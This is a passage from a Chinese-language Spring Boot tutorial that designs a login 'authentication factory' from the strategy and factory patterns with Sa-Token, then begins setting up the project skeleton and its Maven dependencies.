src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/mermaid-diagram-2025-12-28-201325.png" alt="mermaid-diagram-2025-12-28-201325"></p><p><strong>时序说明</strong>：</p><p>让我们逐步分析这个流程：</p><p><strong>步骤 1：前端发送登录请求</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;authType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;PASSWORD&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;123456&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>前端必须在请求中携带 <code>authType</code> 字段，标识这是哪种登录方式。</p><p><strong>步骤 2：Controller 接收请求</strong></p><p><code>AuthController</code> 接收到请求后，不做任何业务逻辑处理，直接委托给 <code>AuthStrategyFactory</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;AuthTokenVO&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> AuthRequest request)</span> &#123;</span><br><span class="line">    <span class="type">AuthTokenVO</span> <span class="variable">authToken</span> <span class="operator">=</span> authStrategyFactory.authenticate(request);</span><br><span class="line">    <span class="keyword">return</span> Result.ok(authToken);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>步骤 3：工厂选择策略</strong></p><p><code>AuthStrategyFactory</code> 根据 <code>authType</code> 字段，从 <code>Map&lt;AuthType, AuthStrategy&gt;</code> 中获取对应的策略：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> strategyMap.get(request.getAuthType());</span><br></pre></td></tr></table></figure><p><strong>步骤 4：策略执行认证</strong></p><p>策略类执行具体的认证逻辑（查询用户、验证密码等），返回用户 ID：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> strategy.authenticate(request);</span><br></pre></td></tr></table></figure><p><strong>步骤 5：工厂调用 Sa-Token 登录</strong></p><p>工厂类拿到用户 ID 后，调用 Sa-Token 的登录方法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">StpUtil.login(userId);</span><br></pre></td></tr></table></figure><p>Sa-Token 会自动生成 Token 并存入 Redis。</p><p><strong>步骤 6：返回 Token</strong></p><p>工厂类构建响应对象，包含 Token 信息：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> AuthTokenVO.builder()</span><br><span class="line">    .tokenName(StpUtil.getTokenName())</span><br><span class="line">    .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">    .loginId(userId)</span><br><span class="line">    .build();</span><br></pre></td></tr></table></figure><p><strong>步骤 7：层层返回</strong></p><p>响应对象层层返回，最终到达前端。</p><h3 id="策略模式与-Sa-Token-的协同关系">策略模式与 Sa-Token 的协同关系</h3><p>现在让我们深入理解策略模式与 Sa-Token 是如何协同工作的。</p><p><strong>Sa-Token 的职责边界</strong></p><p>Sa-Token 只负责 “会话管理”，不负责 “身份验证”。具体来说：</p><p>Sa-Token 负责的事情：</p><ul><li>✅ 生成 Token（<code>StpUtil.login(userId)</code> 会自动生成）</li><li>✅ 验证 Token（<code>StpUtil.checkLogin()</code> 会自动验证）</li><li>✅ 管理会话（将会话信息存入 Redis）</li><li>✅ 权限验证（<code>StpUtil.checkPermission()</code> 等）</li><li>✅ 踢人下线（<code>StpUtil.kickout(userId)</code>）</li></ul><p>Sa-Token 不负责的事情：</p><ul><li>❌ 验证用户名和密码</li><li>❌ 验证手机验证码</li><li>❌ 调用微信 API 获取 openId</li><li>❌ 查询或创建用户</li></ul><p><strong>策略模式的职责边界</strong></p><p>策略模式负责 “身份验证”，不负责 “会话管理”。具体来说：</p><p>策略类负责的事情：</p><ul><li>✅ 验证用户名和密码</li><li>✅ 验证手机验证码</li><li>✅ 调用第三方 API 获取用户信息</li><li>✅ 查询或创建用户</li><li>✅ 返回用户 ID</li></ul><p>策略类不负责的事情：</p><ul><li>❌ 生成 Token（由 Sa-Token 负责）</li><li>❌ 管理会话（由 Sa-Token 负责）</li><li>❌ 权限验证（由 Sa-Token 负责）</li></ul><p><strong>协同工作流程</strong></p><p>让我们用一个具体的例子来说明它们是如何协同工作的。假设用户使用账号密码登录：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 步骤 1：策略类验证身份</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthStrategy</span> <span class="keyword">implements</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 查询用户</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByUsername(username);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 验证密码</span></span><br><span class="line">        <span class="keyword">if</span> (!BCrypt.checkpw(password, user.getPassword())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;密码错误&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 返回用户 ID（策略类的职责到此结束）</span></span><br><span class="line">        <span class="keyword">return</span> user.getId();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 步骤 2：工厂类调用 Sa-Token 登录</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthStrategyFactory</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> AuthTokenVO <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 选择策略</span></span><br><span class="line">        <span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> strategyMap.get(request.getAuthType());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 执行认证，获取用户 ID</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> strategy.authenticate(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. Sa-Token 登录（Sa-Token 的职责从这里开始）</span></span><br><span class="line">        StpUtil.login(userId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 返回 Token</span></span><br><span class="line">        <span class="keyword">return</span> AuthTokenVO.builder()</span><br><span class="line">            .tokenName(StpUtil.getTokenName())</span><br><span class="line">            .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">            .loginId(userId)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键设计点</strong>：</p><p>策略类只返回 <code>userId</code>，不返回 <code>Token</code>。这是因为：</p><ul><li>Token 的生成是 Sa-Token 的职责，策略类不应该关心</li><li>这样做可以让策略类保持职责单一，易于测试</li></ul><p>工厂类负责调用 <code>StpUtil.login(userId)</code>。这是因为：</p><ul><li>工厂类是策略模式和 Sa-Token 的 “桥梁”</li><li>所有策略类都需要调用 Sa-Token 登录，放在工厂类中可以避免重复代码</li></ul><h3 id="策略模式的类图结构">策略模式的类图结构</h3><p>让我们用类图来展示策略模式的结构：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/mermaid-diagram-2025-12-28-201543.png" alt="mermaid-diagram-2025-12-28-201543"></p><p><strong>类图说明</strong>：</p><p><strong>AuthRequest 接口</strong></p><ul><li>这是所有认证请求的统一接口</li><li>定义了一个方法：<code>getAuthType()</code>，用于标识登录类型</li><li>所有具体的请求类（如 <code>PasswordAuthRequest</code>）都必须实现这个接口</li></ul><p><strong>AuthStrategy 接口</strong></p><ul><li>这是所有认证策略的统一接口</li><li>定义了两个方法：<ul><li><code>authenticate(AuthRequest)</code>：执行认证，返回用户 ID</li><li><code>getSupportedType()</code>：返回支持的认证类型</li></ul></li></ul><p><strong>AuthStrategyFactory 工厂类</strong></p><ul><li>管理所有策略的映射关系（<code>Map&lt;AuthType, AuthStrategy&gt;</code>）</li><li>提供 <code>authenticate(AuthRequest)</code> 方法，作为统一的认证入口</li><li>在应用启动时自动发现和注册所有策略</li></ul><p><strong>具体策略类</strong></p><ul><li><code>PasswordAuthStrategy</code>：账号密码登录</li><li><code>SmsAuthStrategy</code>：手机验证码登录</li><li><code>WechatAuthStrategy</code>：微信扫码登录</li></ul><p>每个策略类都实现了 <code>AuthStrategy</code> 接口，并提供自己的认证逻辑。</p><h3 id="设计模式的职责分工">设计模式的职责分工</h3><p>让我们用一个表格来总结各个设计模式的职责：</p><table><thead><tr><th style="text-align:left">设计模式</th><th style="text-align:left">职责</th><th style="text-align:left">核心类</th><th style="text-align:left">关键方法</th></tr></thead><tbody><tr><td style="text-align:left"><strong>策略模式</strong></td><td style="text-align:left">封装算法族，让它们可以互相替换</td><td style="text-align:left"><code>AuthStrategy</code> 接口及其实现类</td><td style="text-align:left"><code>authenticate(AuthRequest)</code></td></tr><tr><td style="text-align:left"><strong>工厂模式</strong></td><td style="text-align:left">根据条件创建对象，隐藏创建逻辑</td><td style="text-align:left"><code>AuthStrategyFactory</code></td><td style="text-align:left"><code>getStrategy(AuthType)</code></td></tr><tr><td style="text-align:left"><strong>多态</strong></td><td style="text-align:left">统一接口，不同实现</td><td style="text-align:left"><code>AuthRequest</code> 接口及其实现类</td><td style="text-align:left"><code>getAuthType()</code></td></tr></tbody></table><p><strong>策略模式的核心价值</strong>：</p><p>将每种登录方式封装为独立的策略类，它们之间互不依赖。这样做的好处是：</p><ul><li>新增登录方式不需要修改现有代码</li><li>可以单独测试每个策略</li><li>可以动态启用或禁用某个策略</li></ul><p><strong>工厂模式的核心价值</strong>：</p><p>根据登录类型自动选择对应的策略，隐藏了策略选择的复杂性。这样做的好处是：</p><ul><li>Controller 不需要知道如何选择策略</li><li>策略的注册和管理都由工厂类负责</li><li>可以在运行时动态添加或删除策略</li></ul><p><strong>多态的核心价值</strong>：</p><p>使用统一的接口（<code>AuthRequest</code>、<code>AuthStrategy</code>），让不同的实现类可以互相替换。这样做的好处是：</p><ul><li>Controller 只需要依赖接口，不需要依赖具体实现</li><li>可以在不修改 Controller 的情况下替换实现类</li><li>符合依赖倒置原则（Dependency Inversion Principle）</li></ul><h3 id="与传统写法的对比">与传统写法的对比</h3><p>让我们用一个表格来对比传统写法和策略模式的差异：</p><table><thead><tr><th style="text-align:left">对比维度</th><th style="text-align:left">传统 if-else</th><th style="text-align:left">策略模式 + 工厂模式</th></tr></thead><tbody><tr><td style="text-align:left"><strong>代码组织</strong></td><td style="text-align:left">所有逻辑混在一起</td><td style="text-align:left">每个策略独立成类</td></tr><tr><td style="text-align:left"><strong>Controller 代码量</strong></td><td style="text-align:left">250+ 行</td><td style="text-align:left">10 行</td></tr><tr><td style="text-align:left"><strong>新增登录方式</strong></td><td style="text-align:left">修改 Controller，增加 if-else 分支</td><td style="text-align:left">只需实现 <code>AuthStrategy</code> 接口</td></tr><tr><td style="text-align:left"><strong>可测试性</strong></td><td style="text-align:left">难以单独测试某个登录方式</td><td style="text-align:left">可以单独测试每个策略</td></tr><tr><td style="text-align:left"><strong>职责分离</strong></td><td style="text-align:left">Controller 包含业务逻辑</td><td style="text-align:left">Controller 只负责调度</td></tr><tr><td style="text-align:left"><strong>动态管理</strong></td><td style="text-align:left">不支持</td><td style="text-align:left">支持（配置化管理）</td></tr><tr><td style="text-align:left"><strong>符合设计原则</strong></td><td style="text-align:left">❌ 违反开闭原则、单一职责原则</td><td style="text-align:left">✅ 符合开闭原则、单一职责原则</td></tr></tbody></table><h3 id="本节小结">本节小结</h3><p>在本节中，我们完成了认证工厂的架构设计。</p><p>我们基于三个核心理念设计了整个系统：</p><ul><li>统一入口，多态分发：所有登录请求通过同一个接口进入，然后自动分发到对应的策略</li><li>策略独立，互不干扰：每种登录方式都是独立的策略类，可以单独开发和测试</li><li>工厂管理，自动发现：工厂类在启动时自动发现和注册所有策略</li></ul><p>我们绘制了三张关键的架构图：</p><ul><li>架构全景图：展示了系统的六层结构</li><li>请求流转时序图：展示了一个完整的登录请求如何在系统中流转</li><li>策略模式类图：展示了策略模式的类结构</li></ul><p>我们明确了策略模式与 Sa-Token 的职责边界：</p><ul><li>策略类负责验证身份，返回用户 ID</li><li>Sa-Token 负责生成 Token 和管理会话</li><li>工厂类是它们之间的桥梁</li></ul><table><thead><tr><th style="text-align:left">要点</th><th style="text-align:left">何时使用</th><th style="text-align:left">关键动作</th></tr></thead><tbody><tr><td style="text-align:left">架构全景图</td><td style="text-align:left">理解系统整体结构</td><td style="text-align:left">识别六层架构及其职责</td></tr><tr><td style="text-align:left">请求流转时序图</td><td style="text-align:left">理解登录流程</td><td style="text-align:left">跟踪请求从前端到数据库的完整路径</td></tr><tr><td style="text-align:left">策略模式类图</td><td style="text-align:left">理解策略模式结构</td><td style="text-align:left">识别接口、工厂、策略三者的关系</td></tr></tbody></table><p>在下一节中，我们将快速搭建项目骨架，让整个系统跑起来。</p><hr><h2 id="19-2-3-快速搭建：10-分钟启动项目骨架">19.2.3. 快速搭建：10 分钟启动项目骨架</h2><p>在上一节中，我们已经完成了认证工厂的架构设计，理解了策略模式与 Sa-Token 的协同关系。现在，让我们动手搭建一个可运行的项目骨架。</p><p>本节的目标很明确：<strong>用最短的时间搭建一个能够跑起来的基础环境</strong>，让你能够立即开始编写策略类。我们不会在这里讲解每个配置项的深层原理（那是后续章节的事情），而是专注于 “快速启动”。</p><h3 id="环境准备检查清单">环境准备检查清单</h3><p>在开始之前，请确认你的开发环境满足以下要求：</p><table><thead><tr><th style="text-align:left">组件</th><th style="text-align:left">版本要求</th><th style="text-align:left">检查方式</th><th style="text-align:left">备注</th></tr></thead><tbody><tr><td style="text-align:left">JDK</td><td style="text-align:left">17 或更高</td><td style="text-align:left">终端执行 <code>java -version</code></td><td style="text-align:left">必须是 LTS 版本</td></tr><tr><td style="text-align:left">Maven</td><td style="text-align:left">3.6+</td><td style="text-align:left">终端执行 <code>mvn -v</code></td><td style="text-align:left">或使用 IDE 内置 Maven</td></tr><tr><td style="text-align:left">Redis</td><td style="text-align:left">5.0+</td><td style="text-align:left">终端执行 <code>redis-cli ping</code>，返回 <code>PONG</code></td><td style="text-align:left">本地或远程均可</td></tr><tr><td style="text-align:left">IDE</td><td style="text-align:left">IntelliJ IDEA 2023+</td><td style="text-align:left">-</td><td style="text-align:left">推荐使用 Ultimate 版</td></tr></tbody></table><div class="note warning flat"><p>如果你的 Redis 尚未启动，请先在终端执行 <code>redis-server</code> 启动 Redis 服务。Windows 用户可以使用 WSL 或 Docker 运行 Redis。</p></div><h3 id="项目结构全景">项目结构全景</h3><p>我们将创建一个单模块的 Spring Boot 项目，目录结构如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">auth-factory-demo/</span><br><span class="line">├── pom.xml                          # Maven 依赖配置</span><br><span class="line">└── src/main/</span><br><span class="line">    ├── java/com/example/auth/</span><br><span class="line">    │   ├── AuthFactoryApplication.java    # 启动类</span><br><span class="line">    │   ├── config/</span><br><span class="line">    │   │   └── SaTokenConfig.java         # Sa-Token 配置类</span><br><span class="line">    │   ├── enums/</span><br><span class="line">    │   │   └── AuthType.java              # 认证类型枚举</span><br><span class="line">    │   ├── model/</span><br><span class="line">    │   │   ├── request/</span><br><span class="line">    │   │   │   └── AuthRequest.java       # 认证请求接口</span><br><span class="line">    │   │   └── vo/</span><br><span class="line">    │   │       └── AuthTokenVO.java       # 统一响应对象</span><br><span class="line">    │   ├── strategy/</span><br><span class="line">    │   │   └── AuthStrategy.java          # 认证策略接口</span><br><span class="line">    │   ├── factory/</span><br><span class="line">    │   │   └── AuthStrategyFactory.java   # 认证工厂</span><br><span class="line">    │   └── controller/</span><br><span class="line">    │       └── AuthController.java        # 认证控制器</span><br><span class="line">    └── resources/</span><br><span class="line">        └── application.yml                 # 应用配置文件</span><br></pre></td></tr></table></figure><p>这个结构非常简洁，没有复杂的多模块划分。我们的重点是 <strong>策略模式的实现</strong>，而不是项目结构的复杂性。</p><hr><h3 id="步骤-1：创建-Spring-Boot-项目">步骤 1：创建 Spring Boot 项目</h3><p>打开 IntelliJ IDEA，选择 <code>File</code> → <code>New</code> → <code>Project</code>。</p><p>在弹出的窗口中：</p><ol><li><p>左侧选择 <code>Spring Initializr</code></p></li><li><p>右侧配置项目信息：</p><ul><li><strong>Name</strong>：<code>auth</code></li><li><strong>Language</strong>：<code>Java</code></li><li><strong>Type</strong>：<code>Maven</code></li><li><strong>Group</strong>：<code>com.example</code></li><li><strong>Artifact</strong>：<code>auth</code></li><li><strong>Package name</strong>：<code>com.example.auth</code></li><li><strong>JDK</strong>：选择 <code>17</code> 或更高版本</li><li><strong>Java</strong>：<code>17</code></li><li><strong>Packaging</strong>：<code>Jar</code></li></ul></li><li><p>点击 <code>Next</code>，在依赖选择页面，暂时不选择任何依赖（我们稍后手动添加）</p></li><li><p>点击 <code>Finish</code>，等待项目创建完成</p></li></ol><p><strong>验证项目创建成功</strong>：</p><p>项目创建完成后，你应该能看到：</p><ul><li>左侧项目树中出现了 <code>auth-factory-demo</code> 文件夹</li><li><code>src/main/java/com/example/auth</code> 目录下有一个 <code>AuthFactoryDemoApplication.java</code> 启动类</li><li><code>pom.xml</code> 文件已经生成</li></ul><hr><h3 id="步骤-2：配置-Maven-依赖">步骤 2：配置 Maven 依赖</h3><p>现在我们需要在 <code>pom.xml</code> 中添加必要的依赖。</p><p><strong>📄 文件</strong>：<code>pom.xml</code></p><p>打开项目根目录下的 <code>pom.xml</code> 文件，将 <code>&lt;dependencies&gt;</code> 标签内的内容替换为以下内容：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- Spring Boot Web Starter --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Sa-Token 核心依赖 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.dev33<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>sa-token-spring-boot3-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.37.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Sa-Token Redis 集成（使用 Jackson 序列化） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.dev33<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>sa-token-redis-jackson<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.37.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Redis 客户端 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-data-redis<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Apache Commons Pool（Redis 连接池） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.commons<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-pool2<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Jackson 数据绑定（用于 JSON 多态反序列化） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.fasterxml.jackson.core<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jackson-databind<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Validation API（用于参数校验） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-validation<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Lombok（简化 POJO 编写） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.projectlombok<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>lombok<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">optional</span>&gt;</span>true<span class="tag">&lt;/<span class="name">optional</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- Spring Boot Test（测试依赖） --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-test<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>依赖说明</strong>：</p><table><thead><tr><th style="text-align:left">依赖</th><th style="text-align:left">作用</th><th style="text-align:left">为什么需要</th></tr></thead><tbody><tr><td style="text-align:left"><code>spring-boot-starter-web</code></td><td style="text-align:left">提供 Web 功能</td><td style="text-align:left">我们需要创建 REST API</td></tr><tr><td style="text-align:left"><code>sa-token-spring-boot3-starter</code></td><td style="text-align:left">Sa-Token 核心</td><td style="text-align:left">提供认证与会话管理能力</td></tr><tr><td style="text-align:left"><code>sa-token-redis-jackson</code></td><td style="text-align:left">Sa-Token Redis 集成</td><td style="text-align:left">将会话信息存入 Redis</td></tr><tr><td style="text-align:left"><code>spring-boot-starter-data-redis</code></td><td style="text-align:left">Redis 客户端</td><td style="text-align:left">连接 Redis 服务器</td></tr><tr><td style="text-align:left"><code>commons-pool2</code></td><td style="text-align:left">连接池</td><td style="text-align:left">提高 Redis 连接性能</td></tr><tr><td style="text-align:left"><code>jackson-databind</code></td><td style="text-align:left">JSON 处理</td><td style="text-align:left">实现多态反序列化</td></tr><tr><td style="text-align:left"><code>spring-boot-starter-validation</code></td><td style="text-align:left">参数校验</td><td style="text-align:left">验证前端传来的参数</td></tr><tr><td style="text-align:left"><code>lombok</code></td><td style="text-align:left">代码简化</td><td style="text-align:left">自动生成 getter/setter</td></tr></tbody></table><p><strong>刷新 Maven 依赖</strong>：</p><p>保存 <code>pom.xml</code> 后，点击 IDE 右侧的 <code>Maven</code> 面板 → 点击刷新图标（或按 <code>Ctrl + Shift + O</code>）。</p><p><strong>验证依赖下载成功</strong>：</p><p>观察 IDE 底部的进度条走完，且 <code>pom.xml</code> 中的依赖没有红色波浪线，说明依赖下载成功。</p><hr><h3 id="步骤-3：配置-application-yml">步骤 3：配置 application.yml</h3><p>现在我们需要配置 Spring Boot 的应用配置文件。</p><p><strong>📄 文件</strong>：<code>src/main/resources/application.yml</code>（新建）</p><p>在 <code>src/main/resources</code> 目录下，右键选择 